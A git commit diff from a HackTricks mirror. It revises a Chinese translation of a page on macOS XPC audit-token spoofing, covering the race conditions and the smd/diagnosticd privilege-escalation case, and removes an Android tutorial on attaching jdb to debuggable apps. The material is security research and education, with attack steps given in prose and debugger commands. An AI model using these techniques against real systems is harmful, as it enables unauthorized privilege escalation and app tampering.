mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
86537f99ff
commit
4967e7eac1
23 changed files with 990 additions and 2334 deletions
|
@ -6,16 +6,14 @@
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**此技术复制自** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
|
||||||
|
|
||||||
## Mach 消息基础信息
|
## Mach 消息基础信息
|
||||||
|
|
||||||
如果您不知道 Mach 消息是什么,请先查看此页面:
|
如果您不知道 Mach 消息是什么,请先查看此页面:
|
||||||
|
@ -25,7 +23,7 @@
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
目前请记住:
|
目前请记住:
|
||||||
Mach 消息是通过 _mach 端口_ 发送的,这是内置在 mach 内核中的**单一接收者、多个发送者通信**渠道。**多个进程可以向 mach 端口发送消息**,但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样,mach 端口由内核分配和管理,进程只看到一个整数,它们可以用它来指示内核它们想要使用哪个 mach 端口。
|
Mach 消息是通过 _mach 端口_ 发送的,这是内置在 mach 内核中的**单一接收者,多个发送者通信**渠道。**多个进程可以向 mach 端口发送消息**,但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样,mach 端口由内核分配和管理,进程只看到一个整数,他们可以用它来指示内核他们想使用哪个 mach 端口。
|
||||||
|
|
||||||
## XPC 连接
|
## XPC 连接
|
||||||
|
|
||||||
|
@ -37,106 +35,107 @@ Mach 消息是通过 _mach 端口_ 发送的,这是内置在 mach 内核中的
|
||||||
|
|
||||||
## 漏洞摘要
|
## 漏洞摘要
|
||||||
|
|
||||||
您需要知道的有趣之处是,**XPC 的抽象是一对一连接**,但它基于可以**有多个发送者**的技术,所以:
|
您需要知道的有趣之处在于,**XPC 的抽象是一对一连接**,但它是基于一种**可以有多个发送者的技术**,所以:
|
||||||
|
|
||||||
* Mach 端口是单一接收者,_**多个发送者**_。
|
* Mach 端口是单一接收者,**多个发送者**。
|
||||||
* XPC 连接的审计令牌是从_**最近收到的消息中复制的**_。
|
* XPC 连接的审计令牌是从**最近收到的消息中复制的审计令牌**。
|
||||||
* 获取 XPC 连接的**审计令牌**对许多**安全检查**至关重要。
|
* 获取 XPC 连接的**审计令牌**对许多**安全检查**至关重要。
|
||||||
|
|
||||||
尽管之前的情况听起来很有希望,但在某些情况下这不会引起问题:
|
尽管之前的情况听起来很有希望,但在某些情况下这不会引起问题:
|
||||||
|
|
||||||
* 审计令牌通常用于授权检查以决定是否接受连接。由于这是使用消息发送到服务端口完成的,因此**尚未建立连接**。此端口上的更多消息将仅作为额外的连接请求处理。因此,在接受连接之前的**任何检查都不会受到影响**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中的审计令牌是安全的)。因此,我们**正在寻找验证特定操作的 XPC 连接**。
|
* 审计令牌通常用于授权检查以决定是否接受连接。由于这是使用消息发送到服务端口完成的,因此**尚未建立连接**。此端口上的更多消息只会被处理为额外的连接请求。因此,**接受连接之前的任何检查都不会受到影响**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中的审计令牌是安全的)。因此,我们正在**寻找验证特定操作的 XPC 连接**。
|
||||||
* XPC 事件处理程序是同步处理的。这意味着在并发调度队列上,即使一个消息的事件处理程序必须完成后才能为下一个消息调用它。因此,在**XPC 事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
* XPC 事件处理程序是同步处理的。这意味着在并发调度队列上,即使一个消息的事件处理程序必须完成后才能为下一个调用它。因此,在**XPC 事件处理程序内部,审计令牌不会被其他正常(非回复!)消息覆盖**。
|
||||||
|
|
||||||
这给了我们两种可能的方法:
|
这给了我们两种可能的方法:
|
||||||
|
|
||||||
1. 变体1:
|
1. 变体1:
|
||||||
* **利用**连接到服务**A**和服务**B**
|
* **利用**连接到服务**A**和服务**B**
|
||||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
||||||
* 服务**A**在**`dispatch_async`** 中调用 **`xpc_connection_get_audit_token`** 时,_**不**_在事件处理程序内。
|
* 服务**A**在**`dispatch_async`** 中调用 **`xpc_connection_get_audit_token`** 时,_**不**_在事件处理程序内部。
|
||||||
* 因此,一个**不同的**消息可能会**覆盖审计令牌**,因为它在事件处理程序外异步分派。
|
* 因此,一个**不同的**消息可能会**覆盖审计令牌**,因为它在事件处理程序外部异步分派。
|
||||||
* 利用将**服务 B 的 SEND 权限传递给服务 A**。
|
* 利用将**发送权利传递给服务 B**。
|
||||||
* 因此,服务**B**实际上将**发送**消息给服务**A**。
|
* 因此,服务**B**实际上将**发送**消息给服务**A**。
|
||||||
* **利用**尝试**调用**特权操作。在 RC 中,服务**A**在**服务 B 覆盖了审计令牌**时**检查**此**操作**的授权(给予利用访问调用特权操作的权限)。
|
* **利用**尝试**调用**特权操作。在 RC 中,服务**A**在处理此**操作**时**检查**授权,而服务**B**覆盖了审计令牌(使利用能够调用特权操作)。
|
||||||
2. 变体 2:
|
2. 变体 2:
|
||||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
||||||
* 利用与**服务 A**连接,后者**发送**期望在特定**回复**端口收到响应的消息给利用。
|
* 利用与**服务 A**连接,它**发送**期望在特定**回复**端口收到响应的消息给利用。
|
||||||
* 利用向**服务 B**发送消息,传递**那个回复端口**。
|
* 利用向**服务 B**发送消息,传递**那个回复端口**。
|
||||||
* 当服务**B 回复**时,它**发送消息给服务 A**,**同时**,**利用**发送不同的**消息给服务 A**,试图**达到特权功能**,并期望服务 B 的回复将在完美时刻覆盖审计令牌(竞态条件)。
|
* 当服务**B 回复**时,它**发送消息给服务 A**,**同时**,**利用**发送不同的**消息给服务 A**,试图**达到特权功能**,期望服务 B 的回复将在完美时刻覆盖审计令牌(竞态条件)。
|
||||||
|
|
||||||
## 变体 1:在事件处理程序外部调用 xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
## 变体 1:在事件处理程序外部调用 xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||||
|
|
||||||
场景:
|
场景:
|
||||||
|
|
||||||
* 两个 mach **服务 A** 和 **B** 我们都可以连接到(基于沙箱配置文件和接受连接之前的授权检查)。
|
* 两个 mach **服务**`A`** 和 **`B`**,我们都可以连接(基于沙箱配置文件和接受连接之前的授权检查)。
|
||||||
* **A** 必须对特定**操作有授权检查,B** 可以通过(但我们的应用程序不能)。
|
* _**A**_ 必须对特定操作进行**授权检查**,**`B`** 可以通过(但我们的应用程序不能)。
|
||||||
* 例如,如果 B 有一些**权限**或以**root**身份运行,它可能允许他要求 A 执行特权操作。
|
* 例如,如果 B 具有某些**权限**或以**root**身份运行,它可能允许他要求 A 执行特权操作。
|
||||||
* 对于此授权检查,**A** 异步获取审计令牌,例如通过从 **`dispatch_async`** 调用 `xpc_connection_get_audit_token`。
|
* 对于此授权检查,**`A`** 异步获取审计令牌,例如通过从 **`dispatch_async`** 调用 `xpc_connection_get_audit_token`。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
在这种情况下,攻击者可以触发**竞态条件**,制作一个**利用**,要求 A 多次执行操作,同时让 B 向 A 发送消息。当 RC **成功**时,**B 的审计令牌**将在我们的**利用**请求被 A 处理时复制到内存中,使其**获得只有 B 才能请求的特权操作的访问权限**。
|
在这种情况下,攻击者可以触发一个**竞态条件**,制作一个**利用**,要求 A 多次执行操作,同时让**B 向 `A` 发送消息**。当 RC **成功**时,**B** 的**审计令牌**将在我们的**利用**请求被 A **处理**时复制到内存中,使其**获得只有 B 才能请求的特权操作的访问权限**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
这发生在**A** 作为 `smd` 和 **B** 作为 `diagnosticd`。函数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 从 smb 可以用来安装一个新的特权帮助工具(作为 **root**)。如果一个**以 root 身份运行的进程联系** **smd**,不会执行其他检查。
|
这发生在**`A`** 为 `smd` 和 **`B`** 为 `diagnosticd` 的情况下。函数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 从 smb 可以用来安装一个新的特权帮助工具(作为**root**)。如果一个**以 root 身份运行的进程联系** **smd**,不会执行其他检查。
|
||||||
|
|
||||||
因此,服务**B** 是 **`diagnosticd`**,因为它以 **root** 身份运行,可以用来**监控**进程,所以一旦监控开始,它将**每秒发送多条消息**。
|
因此,服务**B** 是 **`diagnosticd`**,因为它以**root**身份运行,可以用来**监控**进程,所以一旦监控开始,它将**每秒发送多条消息**。
|
||||||
|
|
||||||
执行攻击:
|
执行攻击:
|
||||||
|
|
||||||
1. 我们通过遵循正常的 XPC 协议建立与 **`smd`** 的**连接**。
|
1. 我们通过遵循正常的 XPC 协议建立与**`smd`** 的**连接**。
|
||||||
2. 然后,我们建立与 **`diagnosticd`** 的**连接**,但我们没有生成两个新的 mach 端口并发送它们,而是用我们与 `smd` 连接的**发送权限的副本**替换了客户端端口发送权限。
|
2. 然后,我们建立与**`diagnosticd`** 的**连接**,但我们没有生成两个新的 mach 端口并发送它们,而是用我们对 `smd` 连接的**发送权利的副本**替换了客户端端口发送权利。
|
||||||
3. 这意味着我们可以向 `diagnosticd` 发送 XPC 消息,但任何 **`diagnosticd` 发送的消息都会发送给 `smd`**。
|
3. 这意味着我们可以向 `diagnosticd` 发送 XPC 消息,但任何**`diagnosticd` 发送的消息都会发送给 `smd`**。
|
||||||
* 对于 `smd` 来说,我们和 `diagnosticd` 的消息似乎都是在同一个连接上到达的。
|
* 对于 `smd` 来说,我们和 `diagnosticd` 的消息看起来都是在同一个连接上到达的。
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
4. 我们要求 **`diagnosticd`** **开始监控**我们的(或任何活跃的)进程,并且我们**向 `smd` 发送 1004 消息**(以安装特权工具)。
|
4. 我们要求**`diagnosticd`** **开始监控**我们的(或任何活跃的)进程,并且我们**向 `smd` 发送 1004 消息**(以安装特权工具)。
|
||||||
5. 这创建了一个需要在 `handle_bless` 中击中一个非常特定窗口的竞态条件。我们需要 `xpc_connection_get_pid` 的调用返回我们自己进程的 PID,因为特权帮助工具在我们的应用程序包中。然而,在 `connection_is_authorized` 函数内部的 `xpc_connection_get_audit_token` 调用必须使用 `diganosticd` 的审计令牌。
|
5. 这创建了一个需要在 `handle_bless` 中击中一个非常特定窗口的竞态条件。我们需要 `xpc_connection_get_pid` 的调用返回我们自己进程的 PID,因为特权帮助工具在我们的应用程序包中。然而,在 `connection_is_authorized` 函数内部的 `xpc_connection_get_audit_token` 调用必须使用 `diganosticd` 的审计令牌。
|
||||||
|
|
||||||
## 变体 2:回复转发
|
## 变体 2:回复转发
|
||||||
|
|
||||||
如前所述,XPC 连接上的事件处理程序从不同时执行多次。然而,**XPC 回复** 消息的处理方式不同。存在两个发送期望回复的消息的函数:
|
如前所述,XPC 连接上的事件处理程序从不同时执行多次。然而,**XPC 回复**消息的处理方式不同。存在两个发送期望回复的消息的函数:
|
||||||
|
|
||||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`,在这种情况下,XPC 消息在指定的队列上接收和解析。
|
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`,在这种情况下,XPC 消息在指定的队列上接收和解析。
|
||||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`,在这种情况下,XPC 消息在当前调度队列上接收和解析。
|
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`,在这种情况下,XPC 消息在当前调度队列上接收和解析。
|
||||||
|
|
||||||
因此,**XPC 回复包可能在 XPC 事件处理程序执行时被解析**。虽然 `_xpc_connection_set_creds` 使用锁定,这只能防止审计令牌的部分覆盖,它并没有锁定整个连接对象,使得可能在解析包和执行其事件处理程序之间**替换审计令牌**。
|
因此,**XPC 回复包可能在执行 XPC 事件处理程序时被解析**。虽然 `_xpc_connection_set_creds` 使用了锁定,这只能防止审计令牌的部分覆写,它并没有锁定整个连接对象,使得可能在解析包和执行其事件处理程序之间**替换审计令牌**。
|
||||||
|
|
||||||
对于这个场景,我们需要:
|
对于这个场景,我们需要:
|
||||||
|
|
||||||
* 如前所述,两个我们都可以连接的 mach 服务 _A_ 和 _B_。
|
* 如前所述,两个 mach 服务**`A`** 和 **`B`**,我们都可以连接。
|
||||||
* 同样,_A_ 必须对特定操作有授权检查,_B_ 可以通过(但我们的应用程序不能)。
|
* 同样,**`A`** 必须对特定操作进行授权检查,**`B`** 可以通过(但我们的应用程序不能)。
|
||||||
* _A_ 发送给我们期望回复的消息。
|
* **`A`** 向我们发送期望回复的消息。
|
||||||
* 我们可以向 _B_ 发送消息,它会回复。
|
* 我们可以向**`B`** 发送消息,它会回复。
|
||||||
|
|
||||||
我们等待 _A_ 发送给我们期望回复的消息(1),我们没有回复,而是取回复端口用于我们发送给 _B_ 的消息(2)。然后,我们发送一个使用禁止操作的消息,我们希望它与 _B_ 的回复同时到达(3)。
|
我们等待**`A`** 发送期望回复的消息(1),我们没有回复,而是取回复端口用于我们发送给**`B`** 的消息(2)。然后,我们发送一个使用禁止操作的消息,我们希望它与来自**`B`** 的回复同时到达(3)。
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 发现问题
|
## 发现问题
|
||||||
|
|
||||||
我们花了很长时间试图找到其他实例,但条件使得它难以静态或动态搜索。为了搜索对 `xpc_connection_get_audit_token` 的异步调用,我们使用 Frida 钩住这个函数,检查回溯是否包括 `_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但这只能找到我们当前挂钩的进程中的调用,以及主动使用的操作。在 IDA/Ghidra 中分析所有可达的 mach 服务非常耗时,特别是当调用涉及到 dyld 共享缓存时。我们尝试编写脚本来查找从使用 `dispatch_async` 提交的块中可达的对 `xpc_connection_get_audit_token` 的调用,但解析块和调用传递到 dyld 共享缓存也很困难。在此花费了一段时间后,我们决定最好提交我们所拥有的。
|
我们花了很长时间试图找到其他实例,但条件使得静态或动态搜索都很困难。为了搜索对 `xpc_connection_get_audit_token` 的异步调用,我们使用 Frida 钩住这个函数,检查回溯是否包括 `_xpc_connection_mach_event`(这意味着它不是从事件处理程序中调用的)。但这只能找到我们当前挂钩的进程中的调用以及主动使用的操作。在 IDA/Ghidra 中分析所有可达的 mach 服务非常耗时,特别是当调用涉及到 dyld 共享缓存时。我们尝试编写脚本来查找从使用 `dispatch_async` 提交的块中可达的对 `xpc_connection_get_audit_token` 的调用,但解析块和调用传递到 dyld 共享缓存也很困难。在此花费了一段时间后,我们决定最好提交我们所拥有的。
|
||||||
|
|
||||||
## 修复 <a href="#the-fix" id="the-fix"></a>
|
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
||||||
|
|
||||||
最终,我们报告了一般问题和 `smd` 中的特定问题。苹果只在 `smd` 中修复了它,通过用 `xpc_dictionary_get_audit_token` 替换对 `xpc_connection_get_audit_token` 的调用。
|
最终,我们报告了一般问题和 `smd` 中的特定问题。苹果只在 `smd` 中修复了它,通过用 `xpc_dictionary_get_audit_token` 替换对 `xpc_connection_get_audit_token` 的调用。
|
||||||
|
|
||||||
函数 `xpc_dictionary_get_audit_token` 从收到此 XPC 消息的 mach 消息中复制审计令牌,这意味着它不容易受到攻击。然而,就像 `xpc_dictionary_get_audit_token` 一样,这不是公共 API 的一部分。对于更高级别的 `NSXPCConnection` API,不存在清晰的方法来获取当前消息的审计令牌,因为这将所有消息抽象为方法调用。
|
函数 `xpc_dictionary_get_audit_token` 从收到此 XPC 消息的 mach 消息中复制审计令牌,这意味着它不容易受到攻击。然而,就像 `xpc_dictionary_get_audit_token` 一样,这不是公共 API 的一部分。对于更高级别的 `NSXPCConnection` API,不存在获取当前消息的审计令牌的明确方法,因为这将所有消息抽象为方法调用。
|
||||||
|
|
||||||
我们不清楚为什么苹果没有应用更通用的修复,例如丢弃与连接保存的审计令牌不匹配的消息。可能存在进程的审计令牌合法更改但连接应保持打开的情况(例如,调用 `setuid` 更改了 UID 字段),但像不同的 PID 或 PID 版本的更改不太可能是预期的。
|
我们不清楚为什么苹果没有应用更通用的修复方法,例如丢弃与连接保存的审计令牌不匹配的消息。可能存在进程的审计令牌合法更改但连接应保持打开的情况(例如,调用 `setuid` 更改了 UID 字段),但像不同的 PID 或 PID 版本这样的更改不太可能是有意的。
|
||||||
|
|
||||||
无论如何,这个问题仍然存在于 iOS 17 和 macOS 14 中,所以如果你想去寻找它,祝你好运!
|
无论如何,这个问题仍然存在于 iOS 17 和 macOS 14 中,所以如果你想去寻找它,祝你好运!
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
|
* 欲了解更多信息,请查看原始帖子:[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,230 +1,109 @@
|
||||||
<details>
|
# 利用可调试应用程序
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
|
|
||||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
|
|
||||||
- 获得[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
|
||||||
|
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
**从** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article) **复制的信息**
|
|
||||||
|
|
||||||
为了使本文更有趣,我开发了一个演示用的易受攻击的应用程序,其中包含一个“**按钮**”和一个“**文本视图**”。
|
|
||||||
|
|
||||||
填写下面的表单以下载与本文相关的代码。
|
|
||||||
|
|
||||||
如果我们启动应用程序,它会显示消息“**Crack Me**”。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack1.png)
|
|
||||||
|
|
||||||
图1
|
|
||||||
|
|
||||||
如果我们点击按钮,它会显示“**Try Again**”。现在,我们的目标是在不修改应用程序源代码的情况下将消息“Try Again”更改为“Hacked”。准确地说,我们必须在运行时进行更改。
|
|
||||||
|
|
||||||
## **所需工具**
|
|
||||||
|
|
||||||
* 模拟器
|
|
||||||
* adb - Android调试桥
|
|
||||||
* jdb - Java调试器
|
|
||||||
|
|
||||||
在我的情况下,为了使安装更容易,我使用的是Android Tamer,因为所有上述所需的工具都已预先安装好。
|
|
||||||
|
|
||||||
## **涉及的主题**
|
|
||||||
|
|
||||||
* 检查漏洞。
|
|
||||||
* 准备设置。
|
|
||||||
* 运行时代码注入。
|
|
||||||
|
|
||||||
让我们开始游戏。
|
|
||||||
|
|
||||||
## **检查漏洞**
|
|
||||||
|
|
||||||
实际上,这是整篇文章中最简单的部分。
|
|
||||||
|
|
||||||
* 使用APKTOOL对应用程序进行反编译,以获取AndroidManifest.xml文件,使用以下命令。
|
|
||||||
|
|
||||||
apktool d \<vulnerableapp>.apk
|
|
||||||
|
|
||||||
* 检查Androidmanifest.xml文件中是否存在以下行。
|
|
||||||
|
|
||||||
android\_debuggable=”true”
|
|
||||||
|
|
||||||
如果在AndroidManifest.xml文件中找到上述行,则该应用程序是可调试的,可以进行利用。
|
|
||||||
|
|
||||||
**注意:**我们使用APKTOOL来查看应用程序是否可调试。正如前面提到的,我们不会触及或修改任何代码片段。
|
|
||||||
|
|
||||||
## **准备设置**
|
|
||||||
|
|
||||||
在此步骤中,我们将设置所有所需的内容,以在应用程序执行期间注入代码。如前一篇文章中所述,我们将在本文中使用远程调试。
|
|
||||||
|
|
||||||
* 启动您的模拟器
|
|
||||||
* 安装易受攻击的应用程序
|
|
||||||
* 打开终端并运行以下命令,以查看模拟器上监听的Dalvik VM端口。
|
|
||||||
|
|
||||||
_**adb jdwp**_
|
|
||||||
|
|
||||||
上述命令显示我们可以连接和调试的所有端口,如下所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack2.png)
|
|
||||||
|
|
||||||
图2
|
|
||||||
|
|
||||||
**注意:**JDWP代表Java调试线协议。如果在其虚拟机中运行的应用程序是可调试的,则它会在一个唯一的端口上公开,我们可以使用JDB连接到该端口。在Dalvik虚拟机中,借助JDWP的支持,这是可能的。
|
|
||||||
|
|
||||||
* 现在,启动我们的目标应用程序,并运行相同的命令,以查看与我们的目标应用程序关联的监听端口。如下所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack3.png)
|
|
||||||
|
|
||||||
图2
|
|
||||||
|
|
||||||
如果我们观察图2和图3之间的差异,可以看到在图3中启动目标应用程序后,有一个额外的端口543在监听。我们将使用此端口将JDB连接到应用程序,因为这是我们的目标。
|
|
||||||
|
|
||||||
* 在连接到应用程序之前,我们需要使用adb进行端口转发,因为我们使用的是远程调试。如图4所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack4.png)
|
|
||||||
|
|
||||||
图4
|
|
||||||
|
|
||||||
* 现在,让我们按照以下图示将JDB连接到应用程序。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack5.png)
|
|
||||||
|
|
||||||
图5
|
|
||||||
|
|
||||||
## **运行时代码注入**
|
|
||||||
|
|
||||||
在此步骤中,我们将通过在运行时修改应用程序的行为来实际利用易受攻击的应用程序。
|
|
||||||
|
|
||||||
要在运行时修改应用程序的行为,我们需要设置断点并控制流程。但是,我们不知道应用程序中使用了哪些类和方法。因此,让我们使用以下命令查找应用程序中使用的类和方法。
|
|
||||||
|
|
||||||
查找类:“**classes**”
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack6.png)
|
|
||||||
|
|
||||||
图6.1
|
|
||||||
|
|
||||||
由于我列出了太多的类,我只列出了一些类。但是,如果您仍然向下滚动,您将看到一些有趣的用户定义类,如下图所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack7.png)
|
|
||||||
|
|
||||||
图6.2
|
|
||||||
|
|
||||||
现在,让我们使用以下命令查看MainActivity$1类关联的方法。
|
|
||||||
|
|
||||||
“_**methods com.example.debug.MainActivity$1**_”
|
|
||||||
|
|
||||||
如图7所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack8.png)
|
|
||||||
|
|
||||||
图7
|
|
||||||
|
|
||||||
现在,让我们设置一个在onClick方法处的断点,并控制应用程序的执行,如图8所示。
|
|
||||||
|
|
||||||
_**“stop in com.example.debug.MainActivity$1.onClick(android.view.View)”**_
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack9.png)
|
|
||||||
|
|
||||||
图8
|
|
||||||
|
|
||||||
要触发断点,我们需要手动点击应用程序中的按钮。点击按钮后,断点将被触发,并显示如图9所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack10.png)
|
|
||||||
|
|
||||||
图9
|
|
||||||
|
|
